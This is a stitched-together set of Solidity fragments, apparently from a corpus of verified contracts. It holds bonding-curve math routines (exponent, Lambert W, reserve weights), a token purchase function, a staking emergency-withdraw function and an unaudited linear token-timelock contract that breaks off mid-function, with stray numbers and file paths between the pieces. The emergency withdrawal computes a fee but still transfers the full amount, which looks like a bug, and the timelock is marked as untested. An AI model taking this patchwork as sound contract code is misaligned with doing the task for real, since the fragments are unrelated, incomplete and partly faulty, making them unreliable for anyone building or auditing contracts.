e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = z * y / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = z * y / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = z * y / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = z * y / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = z * y / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = z * y / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = z * y / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = z * y / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = z * y / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = z * y / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = z * y / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = z * y / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = z * y / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = z * y / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = z * y / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = z * y / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = z * y / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = z * y / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = z * y / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = res * 0x1c3d6a24ed82218787d624d3e5eba95f9 / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = res * 0x18ebef9eac820ae8682b9793ac6d1e778 / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = res * 0x1368b2fc6f9609fe7aceb46aa619baed5 / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = res * 0x0bc5ab1b16779be3575bd8f0520a9f21e / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = res * 0x0454aaa8efe072e7f6ddbab84b40a55c5 / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = res * 0x00960aadc109e7a3bf4578099615711d7 / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = res * 0x0002bf84208204f5977f9a8cf01fdc307 / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } /** * @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1 */ function lowerStake(uint256 _x) internal view returns (uint256) { if (_x <= LAMBERT_CONV_RADIUS) return lambertPos1(_x); if (_x <= LAMBERT_POS2_MAXVAL) return lambertPos2(_x); if (_x <= LAMBERT_POS3_MAXVAL) return lambertPos3(_x); require(false); } /** * @dev computes W(-x / FIXED_1) / (-x / FIXED_1) * FIXED_1 */ function higherStake(uint256 _x) internal pure returns (uint256) { if (_x <= LAMBERT_CONV_RADIUS) return lambertNeg1(_x); return FIXED_1 * FIXED_1 / _x; } /** * @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1 * input range: 1 <= x <= 1 / e * FIXED_1 * auto-generated via 'PrintFunctionLambertPos1.py' */ function lambertPos1(uint256 _x) internal pure returns (uint256) { uint256 xi = _x; uint256 res = (FIXED_1 - _x) * 0xde1bc4d19efcac82445da75b00000000; // x^(1-1) * (34! * 1^(1-1) / 1!) - x^(2-1) * (34! * 2^(2-1) / 2!) xi = (xi * _x) / FIXED_1; res += xi * 0x00000000014d29a73a6e7b02c3668c7b0880000000; // add x^(03-1) * (34! * 03^(03-1) / 03!) xi = (xi * _x) / FIXED_1; res -= xi * 0x0000000002504a0cd9a7f7215b60f9be4800000000; // sub x^(04-1) * (34! * 04^(04-1) / 04!) xi = (xi * _x) / FIXED_1; res += xi * 0x000000000484d0a1191c0ead267967c7a4a0000000; // add x^(05-1) * (34! * 05^(05-1) / 05!) xi = (xi * _x) / FIXED_1; res -= xi * 0x00000000095ec580d7e8427a4baf26a90a00000000; // sub x^(06-1) * (34! * 06^(06-1) / 06!) xi = (xi * _x) / FIXED_1; res += xi * 0x000000001440b0be1615a47dba6e5b3b1f10000000; // add x^(07-1) * (34! * 07^(07-1) / 07!) xi = (xi * _x) / FIXED_1; res -= xi * 0x000000002d207601f46a99b4112418400000000000; // sub x^(08-1) * (34! * 08^(08-1) / 08!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000066ebaac4c37c622dd8288a7eb1b2000000; // add x^(09-1) * (34! * 09^(09-1) / 09!) xi = (xi * _x) / FIXED_1; res -= xi * 0x00000000ef17240135f7dbd43a1ba10cf200000000; // sub x^(10-1) * (34! * 10^(10-1) / 10!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000233c33c676a5eb2416094a87b3657000000; // add x^(11-1) * (34! * 11^(11-1) / 11!) xi = (xi * _x) / FIXED_1; res -= xi * 0x0000000541cde48bc0254bed49a9f8700000000000; // sub x^(12-1) * (34! * 12^(12-1) / 12!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000cae1fad2cdd4d4cb8d73abca0d19a400000; // add x^(13-1) * (34! * 13^(13-1) / 13!) xi = (xi * _x) / FIXED_1; res -= xi * 0x0000001edb2aa2f760d15c41ceedba956400000000; // sub x^(14-1) * (34! * 14^(14-1) / 14!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000004ba8d20d2dabd386c9529659841a2e200000; // add x^(15-1) * (34! * 15^(15-1) / 15!) xi = (xi * _x) / FIXED_1; res -= xi * 0x000000bac08546b867cdaa20000000000000000000; // sub x^(16-1) * (34! * 16^(16-1) / 16!) xi = (xi * _x) / FIXED_1; res += xi * 0x000001cfa8e70c03625b9db76c8ebf5bbf24820000; // add x^(17-1) * (34! * 17^(17-1) / 17!) xi = (xi * _x) / FIXED_1; res -= xi * 0x000004851d99f82060df265f3309b26f8200000000; // sub x^(18-1) * (34! * 18^(18-1) / 18!) xi = (xi * _x) / FIXED_1; res += xi * 0x00000b550d19b129d270c44f6f55f027723cbb0000; // add x^(19-1) * (34! * 19^(19-1) / 19!) xi = (xi * _x) / FIXED_1; res -= xi * 0x00001c877dadc761dc272deb65d4b0000000000000; // sub x^(20-1) * (34! * 20^(20-1) / 20!) xi = (xi * _x) / FIXED_1; res += xi * 0x000048178ece97479f33a77f2ad22a81b64406c000; // add x^(21-1) * (34! * 21^(21-1) / 21!) xi = (xi * _x) / FIXED_1; res -= xi * 0x0000b6ca8268b9d810fedf6695ef2f8a6c00000000; // sub x^(22-1) * (34! * 22^(22-1) / 22!) xi = (xi * _x) / FIXED_1; res += xi * 0x0001d0e76631a5b05d007b8cb72a7c7f11ec36e000; // add x^(23-1) * (34! * 23^(23-1) / 23!) xi = (xi * _x) / FIXED_1; res -= xi * 0x0004a1c37bd9f85fd9c6c780000000000000000000; // sub x^(24-1) * (34! * 24^(24-1) / 24!) xi = (xi * _x) / FIXED_1; res += xi * 0x000bd8369f1b702bf491e2ebfcee08250313b65400; // add x^(25-1) * (34! * 25^(25-1) / 25!) xi = (xi * _x) / FIXED_1; res -= xi * 0x001e5c7c32a9f6c70ab2cb59d9225764d400000000; // sub x^(26-1) * (34! * 26^(26-1) / 26!) xi = (xi * _x) / FIXED_1; res += xi * 0x004dff5820e165e910f95120a708e742496221e600; // add x^(27-1) * (34! * 27^(27-1) / 27!) xi = (xi * _x) / FIXED_1; res -= xi * 0x00c8c8f66db1fced378ee50e536000000000000000; // sub x^(28-1) * (34! * 28^(28-1) / 28!) xi = (xi * _x) / FIXED_1; res += xi * 0x0205db8dffff45bfa2938f128f599dbf16eb11d880; // add x^(29-1) * (34! * 29^(29-1) / 29!) xi = (xi * _x) / FIXED_1; res -= xi * 0x053a044ebd984351493e1786af38d39a0800000000; // sub x^(30-1) * (34! * 30^(30-1) / 30!) xi = (xi * _x) / FIXED_1; res += xi * 0x0d86dae2a4cc0f47633a544479735869b487b59c40; // add x^(31-1) * (34! * 31^(31-1) / 31!) xi = (xi * _x) / FIXED_1; res -= xi * 0x231000000000000000000000000000000000000000; // sub x^(32-1) * (34! * 32^(32-1) / 32!) xi = (xi * _x) / FIXED_1; res += xi * 0x5b0485a76f6646c2039db1507cdd51b08649680822; // add x^(33-1) * (34! * 33^(33-1) / 33!) xi = (xi * _x) / FIXED_1; res -= xi * 0xec983c46c49545bc17efa6b5b0055e242200000000; // sub x^(34-1) * (34! * 34^(34-1) / 34!) return res / 0xde1bc4d19efcac82445da75b00000000; // divide by 34! } /** * @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1 * input range: LAMBERT_CONV_RADIUS + 1 <= x <= LAMBERT_POS2_MAXVAL */ function lambertPos2(uint256 _x) internal view returns (uint256) { uint256 x = _x - LAMBERT_CONV_RADIUS - 1; uint256 i = x / LAMBERT_POS2_SAMPLE; uint256 a = LAMBERT_POS2_SAMPLE * i; uint256 b = LAMBERT_POS2_SAMPLE * (i + 1); uint256 c = lambertArray[i]; uint256 d = lambertArray[i + 1]; return (c * (b - x) + d * (x - a)) / LAMBERT_POS2_SAMPLE; } /** * @dev computes W(x / FIXED_1) / (x / FIXED_1) * FIXED_1 * input range: LAMBERT_POS2_MAXVAL + 1 <= x <= LAMBERT_POS3_MAXVAL */ function lambertPos3(uint256 _x) internal pure returns (uint256) { uint256 l1 = _x < OPT_LOG_MAX_VAL ? optimalLog(_x) : generalLog(_x); uint256 l2 = l1 < OPT_LOG_MAX_VAL ? optimalLog(l1) : generalLog(l1); return (l1 - l2 + l2 * FIXED_1 / l1) * FIXED_1 / _x; } /** * @dev computes W(-x / FIXED_1) / (-x / FIXED_1) * FIXED_1 * input range: 1 <= x <= 1 / e * FIXED_1 * auto-generated via 'PrintFunctionLambertNeg1.py' */ function lambertNeg1(uint256 _x) internal pure returns (uint256) { uint256 xi = _x; uint256 res = 0; xi = (xi * _x) / FIXED_1; res += xi * 0x00000000014d29a73a6e7b02c3668c7b0880000000; // add x^(03-1) * (34! * 03^(03-1) / 03!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000002504a0cd9a7f7215b60f9be4800000000; // add x^(04-1) * (34! * 04^(04-1) / 04!) xi = (xi * _x) / FIXED_1; res += xi * 0x000000000484d0a1191c0ead267967c7a4a0000000; // add x^(05-1) * (34! * 05^(05-1) / 05!) xi = (xi * _x) / FIXED_1; res += xi * 0x00000000095ec580d7e8427a4baf26a90a00000000; // add x^(06-1) * (34! * 06^(06-1) / 06!) xi = (xi * _x) / FIXED_1; res += xi * 0x000000001440b0be1615a47dba6e5b3b1f10000000; // add x^(07-1) * (34! * 07^(07-1) / 07!) xi = (xi * _x) / FIXED_1; res += xi * 0x000000002d207601f46a99b4112418400000000000; // add x^(08-1) * (34! * 08^(08-1) / 08!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000066ebaac4c37c622dd8288a7eb1b2000000; // add x^(09-1) * (34! * 09^(09-1) / 09!) xi = (xi * _x) / FIXED_1; res += xi * 0x00000000ef17240135f7dbd43a1ba10cf200000000; // add x^(10-1) * (34! * 10^(10-1) / 10!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000233c33c676a5eb2416094a87b3657000000; // add x^(11-1) * (34! * 11^(11-1) / 11!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000541cde48bc0254bed49a9f8700000000000; // add x^(12-1) * (34! * 12^(12-1) / 12!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000000cae1fad2cdd4d4cb8d73abca0d19a400000; // add x^(13-1) * (34! * 13^(13-1) / 13!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000001edb2aa2f760d15c41ceedba956400000000; // add x^(14-1) * (34! * 14^(14-1) / 14!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000004ba8d20d2dabd386c9529659841a2e200000; // add x^(15-1) * (34! * 15^(15-1) / 15!) xi = (xi * _x) / FIXED_1; res += xi * 0x000000bac08546b867cdaa20000000000000000000; // add x^(16-1) * (34! * 16^(16-1) / 16!) xi = (xi * _x) / FIXED_1; res += xi * 0x000001cfa8e70c03625b9db76c8ebf5bbf24820000; // add x^(17-1) * (34! * 17^(17-1) / 17!) xi = (xi * _x) / FIXED_1; res += xi * 0x000004851d99f82060df265f3309b26f8200000000; // add x^(18-1) * (34! * 18^(18-1) / 18!) xi = (xi * _x) / FIXED_1; res += xi * 0x00000b550d19b129d270c44f6f55f027723cbb0000; // add x^(19-1) * (34! * 19^(19-1) / 19!) xi = (xi * _x) / FIXED_1; res += xi * 0x00001c877dadc761dc272deb65d4b0000000000000; // add x^(20-1) * (34! * 20^(20-1) / 20!) xi = (xi * _x) / FIXED_1; res += xi * 0x000048178ece97479f33a77f2ad22a81b64406c000; // add x^(21-1) * (34! * 21^(21-1) / 21!) xi = (xi * _x) / FIXED_1; res += xi * 0x0000b6ca8268b9d810fedf6695ef2f8a6c00000000; // add x^(22-1) * (34! * 22^(22-1) / 22!) xi = (xi * _x) / FIXED_1; res += xi * 0x0001d0e76631a5b05d007b8cb72a7c7f11ec36e000; // add x^(23-1) * (34! * 23^(23-1) / 23!) xi = (xi * _x) / FIXED_1; res += xi * 0x0004a1c37bd9f85fd9c6c780000000000000000000; // add x^(24-1) * (34! * 24^(24-1) / 24!) xi = (xi * _x) / FIXED_1; res += xi * 0x000bd8369f1b702bf491e2ebfcee08250313b65400; // add x^(25-1) * (34! * 25^(25-1) / 25!) xi = (xi * _x) / FIXED_1; res += xi * 0x001e5c7c32a9f6c70ab2cb59d9225764d400000000; // add x^(26-1) * (34! * 26^(26-1) / 26!) xi = (xi * _x) / FIXED_1; res += xi * 0x004dff5820e165e910f95120a708e742496221e600; // add x^(27-1) * (34! * 27^(27-1) / 27!) xi = (xi * _x) / FIXED_1; res += xi * 0x00c8c8f66db1fced378ee50e536000000000000000; // add x^(28-1) * (34! * 28^(28-1) / 28!) xi = (xi * _x) / FIXED_1; res += xi * 0x0205db8dffff45bfa2938f128f599dbf16eb11d880; // add x^(29-1) * (34! * 29^(29-1) / 29!) xi = (xi * _x) / FIXED_1; res += xi * 0x053a044ebd984351493e1786af38d39a0800000000; // add x^(30-1) * (34! * 30^(30-1) / 30!) xi = (xi * _x) / FIXED_1; res += xi * 0x0d86dae2a4cc0f47633a544479735869b487b59c40; // add x^(31-1) * (34! * 31^(31-1) / 31!) xi = (xi * _x) / FIXED_1; res += xi * 0x231000000000000000000000000000000000000000; // add x^(32-1) * (34! * 32^(32-1) / 32!) xi = (xi * _x) / FIXED_1; res += xi * 0x5b0485a76f6646c2039db1507cdd51b08649680822; // add x^(33-1) * (34! * 33^(33-1) / 33!) xi = (xi * _x) / FIXED_1; res += xi * 0xec983c46c49545bc17efa6b5b0055e242200000000; // add x^(34-1) * (34! * 34^(34-1) / 34!) return res / 0xde1bc4d19efcac82445da75b00000000 + _x + FIXED_1; // divide by 34! and then add x^(2-1) * (34! * 2^(2-1) / 2!) + x^(1-1) * (34! * 1^(1-1) / 1!) } /** * @dev computes the weights based on "W(log(hi / lo) * tq / rp) * tq / rp", where "W" is a variation of the Lambert W function. */ function balancedWeightsByStake(uint256 _hi, uint256 _lo, uint256 _tq, uint256 _rp, bool _lowerStake) internal view returns (uint32, uint32) { (_tq, _rp) = safeFactors(_tq, _rp); uint256 f = _hi.mul(FIXED_1) / _lo; uint256 g = f < OPT_LOG_MAX_VAL ? optimalLog(f) : generalLog(f); uint256 x = g.mul(_tq) / _rp; uint256 y = _lowerStake ? lowerStake(x) : higherStake(x); return normalizedWeights(y.mul(_tq), _rp.mul(FIXED_1)); } /** * @dev reduces "a" and "b" while maintaining their ratio. */ function safeFactors(uint256 _a, uint256 _b) internal pure returns (uint256, uint256) { if (_a <= FIXED_2 && _b <= FIXED_2) return (_a, _b); if (_a < FIXED_2) return (_a * FIXED_2 / _b, FIXED_2); if (_b < FIXED_2) return (FIXED_2, _b * FIXED_2 / _a); uint256 c = _a > _b ? _a : _b; uint256 n = floorLog2(c / FIXED_1); return (_a >> n, _b >> n); } /** * @dev computes "MAX_WEIGHT * a / (a + b)" and "MAX_WEIGHT * b / (a + b)". */ function normalizedWeights(uint256 _a, uint256 _b) internal pure returns (uint32, uint32) { if (_a <= _b) return accurateWeights(_a, _b); (uint32 y, uint32 x) = accurateWeights(_b, _a); return (x, y); } /** * @dev computes "MAX_WEIGHT * a / (a + b)" and "MAX_WEIGHT * b / (a + b)", assuming that "a <= b". */ function accurateWeights(uint256 _a, uint256 _b) internal pure returns (uint32, uint32) { if (_a > MAX_UNF_WEIGHT) { uint256 c = _a / (MAX_UNF_WEIGHT + 1) + 1; _a /= c; _b /= c; } uint256 x = roundDiv(_a * MAX_WEIGHT, _a.add(_b)); uint256 y = MAX_WEIGHT - x; return (uint32(x), uint32(y)); } /** * @dev computes the nearest integer to a given quotient without overflowing or underflowing. */ function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) { return _n / _d + _n % _d / (_d - _d / 2); } /** * @dev deprecated, backward compatibility */ function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public view returns (uint256) { return purchaseTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public view returns (uint256) { return saleTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function calculateCrossReserveReturn(uint256 _sourceReserveBalance, uint32 _sourceReserveWeight, uint256 _targetReserveBalance, uint32 _targetReserveWeight, uint256 _amount) public view returns (uint256) { return crossReserveTargetAmount(_sourceReserveBalance, _sourceReserveWeight, _targetReserveBalance, _targetReserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function calculateCrossConnectorReturn(uint256 _sourceReserveBalance, uint32 _sourceReserveWeight, uint256 _targetReserveBalance, uint32 _targetReserveWeight, uint256 _amount) public view returns (uint256) { return crossReserveTargetAmount(_sourceReserveBalance, _sourceReserveWeight, _targetReserveBalance, _targetReserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function calculateFundCost(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public view returns (uint256) { return fundCost(_supply, _reserveBalance, _reserveRatio, _amount); } /** * @dev deprecated, backward compatibility */ function calculateLiquidateReturn(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public view returns (uint256) { return liquidateReserveAmount(_supply, _reserveBalance, _reserveRatio, _amount); } /** * @dev deprecated, backward compatibility */ function purchaseRate(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public view returns (uint256) { return purchaseTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function saleRate(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public view returns (uint256) { return saleTargetAmount(_supply, _reserveBalance, _reserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function crossReserveRate(uint256 _sourceReserveBalance, uint32 _sourceReserveWeight, uint256 _targetReserveBalance, uint32 _targetReserveWeight, uint256 _amount) public view returns (uint256) { return crossReserveTargetAmount(_sourceReserveBalance, _sourceReserveWeight, _targetReserveBalance, _targetReserveWeight, _amount); } /** * @dev deprecated, backward compatibility */ function liquidateRate(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public view returns (uint256) { return liquidateReserveAmount(_supply, _reserveBalance, _reserveRatio, _amount); } }
given a token supply, reserve balance, weight and a deposit amount (in the reserve token), calculates the target amount for a given conversion (in the main token) Formula: return = _supply ((1 + _amount / _reserveBalance) ^ (_reserveWeight / 1000000) - 1) _supply smart token supply _reserveBalance reserve balance _reserveWeight reserve weight, represented in ppm (1-1000000) _amount amount of reserve tokens to get the target amount for return smart token amount/ validate input special case for 0 deposit amount special case if the weight = 100%
function purchaseTargetAmount(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public override view returns (uint256) { require(_supply > 0, "ERR_INVALID_SUPPLY"); require(_reserveBalance > 0, "ERR_INVALID_RESERVE_BALANCE"); require(_reserveWeight > 0 && _reserveWeight <= MAX_WEIGHT, "ERR_INVALID_RESERVE_WEIGHT"); if (_amount == 0) return 0; if (_reserveWeight == MAX_WEIGHT) return _supply.mul(_amount) / _reserveBalance; uint256 result; uint8 precision; uint256 baseN = _amount.add(_reserveBalance); (result, precision) = power(baseN, _reserveBalance, _reserveWeight, MAX_WEIGHT); uint256 temp = _supply.mul(result) >> precision; return temp - _supply; }
1,786,808
./partial_match/1/0xE26A601Dec9FCd2d1079ACdeDC5ECcaBBcC89df8/sources/Staking.sol
Allows users to perform an emergency withdrawal from the staking pool.
function emergencyWithdraw() external nonReentrant { UserInfo storage user = userInfo[msg.sender]; uint256 amountToWithdraw = user.amount; require(amountToWithdraw != 0, "No amount to withdraw"); totalUsersStake -= amountToWithdraw; uint256 feePart = (amountToWithdraw * EMERGENCY_FEE / 100); poolTotalReward += feePart; totalUsersInStaking -= 1; delete userInfo[msg.sender]; rewardToken.transfer(address(msg.sender), amountToWithdraw); emit EmergencyWithdraw(msg.sender, amountToWithdraw); }
15,767,227
// SPDX-License-Identifier: MIT // WARNING this contract has not been independently tested or audited // DO NOT use this contract with funds of real value until officially tested and audited by an independent expert or group pragma solidity 0.8.11; // SafeERC20 // The following version of SafeERC20 is used. // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/utils/SafeERC20.sol import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; // SafeMath // The following version of SafeMath is used because this contract uses Solidity 0.8 or later (i.e. the compiler has built in overflow checks). // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol import "openzeppelin-solidity/contracts/utils/math/SafeMath.sol"; contract LinearTimelock { // boolean to prevent reentrancy bool internal locked; // Library usage using SafeERC20 for IERC20; using SafeMath for uint256; // Contract owner address payable public owner; // Contract owner access bool public allIncomingDepositsFinalised; // Timestamp related variables // The epoch in seconds "as at" the time when the smart contract is initialized (via the setTimestamp function) by the owner uint256 public initialTimestamp; // A boolean to acknowledge when the one-time setTimestamp function has been called bool public timestampSet; // The epoch, in seconds, representing the period of time from the initialTimestamp to the moment tokens begin to be released linearly i.e. 3 months uint256 public cliffEdge; // The epoch, in seconds, representing the period of time from the initialTimestamp to the moment all funds are fully released i.e. 18 months uint256 public releaseEdge; // Last time a recipient accessed the unlock function // mapping(address => uint256) public mostRecentUnlockTimestamp; // Token amount variables mapping(address => uint256) public alreadyWithdrawn; mapping(address => uint256) public balances; uint256 public contractBalance; // ERC20 contract address IERC20 public erc20Contract; // Events event TokensDeposited(address from, uint256 amount); event AllocationPerformed(address recipient, uint256 amount); event TokensUnlocked(address recipient, uint256 amount); /// @dev Deploys contract and links the ERC20 token which we are timelocking, also sets owner as msg.sender and sets timestampSet bool to false. /// @param _erc20_contract_address. constructor(IERC20 _erc20_contract_address) { // Allow this contract's owner to make deposits by setting allIncomingDepositsFinalised to false allIncomingDepositsFinalised = false; // Set contract owner owner = payable(msg.sender); // Timestamp values not set yet timestampSet = false; // Set the erc20 contract address which this timelock is deliberately paired to require(address(_erc20_contract_address) != address(0), "_erc20_contract_address address can not be zero"); require(address(msg.sender) != address(0xC2CE2b63e35Fbe60Cc86370b177650B3800F7221), "owner address can not be 0xC2C...F7221"); erc20Contract = _erc20_contract_address; // Initialize the reentrancy variable to not locked locked = false; } // Modifier /** * @dev Prevents reentrancy */ modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; } // Modifier /** * @dev Throws if allIncomingDepositsFinalised is true. */ modifier incomingDepositsStillAllowed() { require(allIncomingDepositsFinalised == false, "Incoming deposits have been finalised."); _; } // Modifier /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "Message sender must be the contract's owner."); _; } // Modifier /** * @dev Throws if timestamp already set. */ modifier timestampNotSet() { require(timestampSet == false, "The time stamp has already been set."); _; } // Modifier /** * @dev Throws if timestamp not set. */ modifier timestampIsSet() { require(timestampSet == true, "Please set the time stamp first, then try again."); _; } receive() payable external incomingDepositsStillAllowed { contractBalance = contractBalance.add(msg.value); emit TokensDeposited(msg.sender, msg.value); } // @dev Takes away any ability (for the contract owner) to assign any tokens to any recipients. This function is only to be called by the contract owner. Calling this function can not be undone. Calling this function must only be performed when all of the addresses and amounts are allocated (to the recipients). This function finalizes the contract owners involvement and at this point the contract's timelock functionality is non-custodial function finalizeAllIncomingDeposits() public onlyOwner timestampIsSet incomingDepositsStillAllowed { allIncomingDepositsFinalised = true; } /// @dev Sets the initial timestamp and calculates locking period variables i.e. twelveMonths etc. /// @param _cliffTimePeriod amount of seconds to add to the initial timestamp i.e. we are essentially creating the end of the lockup period here (which marks the start of the linear release logic) /// @param _releaseTimePeriod amount of seconds to add to the initial timestamp i.e. we are essemtially creating the point in time where gradual linear unlocking process is complete and all tokens are all simply available function setTimestamp(int _cliffTimePeriod, int _releaseTimePeriod) public onlyOwner timestampNotSet { // Ensure that time periods are greater then zero require(_cliffTimePeriod != 0 && _releaseTimePeriod != 0, "Time periods can not be zero"); // Set timestamp boolean to true so that this function can not be called again (and so that token transfer and unlock functions can be called from now on) timestampSet = true; // Set initial timestamp to the current time initialTimestamp = block.timestamp; // Add the current time to the cliff time period to create the cliffEdge (The moment when tokens can start to unlock) if (_cliffTimePeriod > 0) { cliffEdge = initialTimestamp.add(uint256(_cliffTimePeriod)); } else { cliffEdge = initialTimestamp.sub(uint256(-_cliffTimePeriod)); } // Add the current time to the release time period to create the releaseEdge (The final moment when all tokens are free/unlocked) if (_releaseTimePeriod > 0) { releaseEdge = initialTimestamp.add(uint256(_releaseTimePeriod)); } else { releaseEdge = initialTimestamp.sub(uint256(-_releaseTimePeriod)); } // Tokens are released between cliffEdge and releaseEdge epochs; therefore the cliffEdge must always be older then the releaseEdge require(cliffEdge < releaseEdge); } /// @dev Function to withdraw Eth in case Eth is accidently sent to this contract. /// @param amount of network tokens to withdraw (in wei). function withdrawEth(uint256 amount) public onlyOwner noReentrant{ require(amount <= contractBalance, "Insufficient funds"); contractBalance = contractBalance.sub(amount); // Transfer the specified amount of Eth to the owner of this contract owner.transfer(amount); } /// @dev Allows the contract owner to allocate official ERC20 tokens to each future recipient (only one at a time). /// @param recipient, address of recipient. /// @param amount to allocate to recipient. function depositTokens(address recipient, uint256 amount) public onlyOwner timestampIsSet incomingDepositsStillAllowed { // The amount deposited must be greater than the netReleasePeriod or the wei per second will be less than one wei (which is not acceptable) require(amount >= (releaseEdge.sub(cliffEdge)), "Amount deposited must be greater than netReleasePeriod"); require(recipient != address(0), "ERC20: transfer to the zero address"); balances[recipient] = balances[recipient].add(amount); // mostRecentUnlockTimestamp[recipient] = cliffEdge; emit AllocationPerformed(recipient, amount); } /// @dev Allows the contract owner to allocate official ERC20 tokens to multiple future recipient in bulk. /// @param recipients, an array of addresses of the many recipient. /// @param amounts to allocate to each of the many recipient. function bulkDepositTokens(address[] calldata recipients, uint256[] calldata amounts) external onlyOwner timestampIsSet incomingDepositsStillAllowed { require(recipients.length == amounts.length, "The recipients and amounts arrays must be the same size in length"); for(uint256 i = 0; i < recipients.length; i++) { require(recipients[i] != address(0), "ERC20: transfer to the zero address"); // The amount deposited must be greater than the netReleasePeriod or the wei per second will be negative i.e. minimum wei per secon is 1 require(amounts[i] >= (releaseEdge.sub(cliffEdge)), "Amount deposited must be greater than netReleasePeriod"); balances[recipients[i]] = balances[recipients[i]].add(amounts[i]); // mostRecentUnlockTimestamp[recipients[i]] = cliffEdge; emit AllocationPerformed(recipients[i], amounts[i]); } } /// @dev Calculates the weiPerSecond value for a specific user /// @param _to the address to calculate the wei per second for /// @return uint256 /* function calculateWeiPerSecond(address _to) internal view returns(uint256) { // Calculate the linear portion of tokens which are made available for each one second time increment return (balances[_to].add(alreadyWithdrawn[_to])).div((releaseEdge.sub(cliffEdge))); } */ /// @dev Allows recipient to start linearly unlocking tokens (after cliffEdge has elapsed) or unlock up to entire balance (after releaseEdge has elapsed) /// @param token - address of the official ERC20 token which is being unlocked here. /// @param to - the recipient's account address. /// @param amount - the amount to unlock (in wei) function transferTimeLockedTokensAfterTimePeriod(IERC20 token, address to, uint256 amount) public timestampIsSet noReentrant { require(to != address(0), "ERC20: transfer to the zero address"); require(balances[to] >= amount, "Insufficient token balance, try lesser amount"); require(msg.sender == to, "Only the token recipient can perform the unlock"); require(token == erc20Contract, "Token parameter must be the same as the erc20 contract address which was passed into the constructor"); require(block.timestamp > cliffEdge, "Tokens are only available after correct time period has elapsed"); // Ensure that the amount is available to be unlocked at this current point in time if (block.timestamp > releaseEdge){ alreadyWithdrawn[to] = alreadyWithdrawn[to].add(amount); balances[to] = balances[to].sub(amount); // mostRecentUnlockTimestamp[to] = block.timestamp; 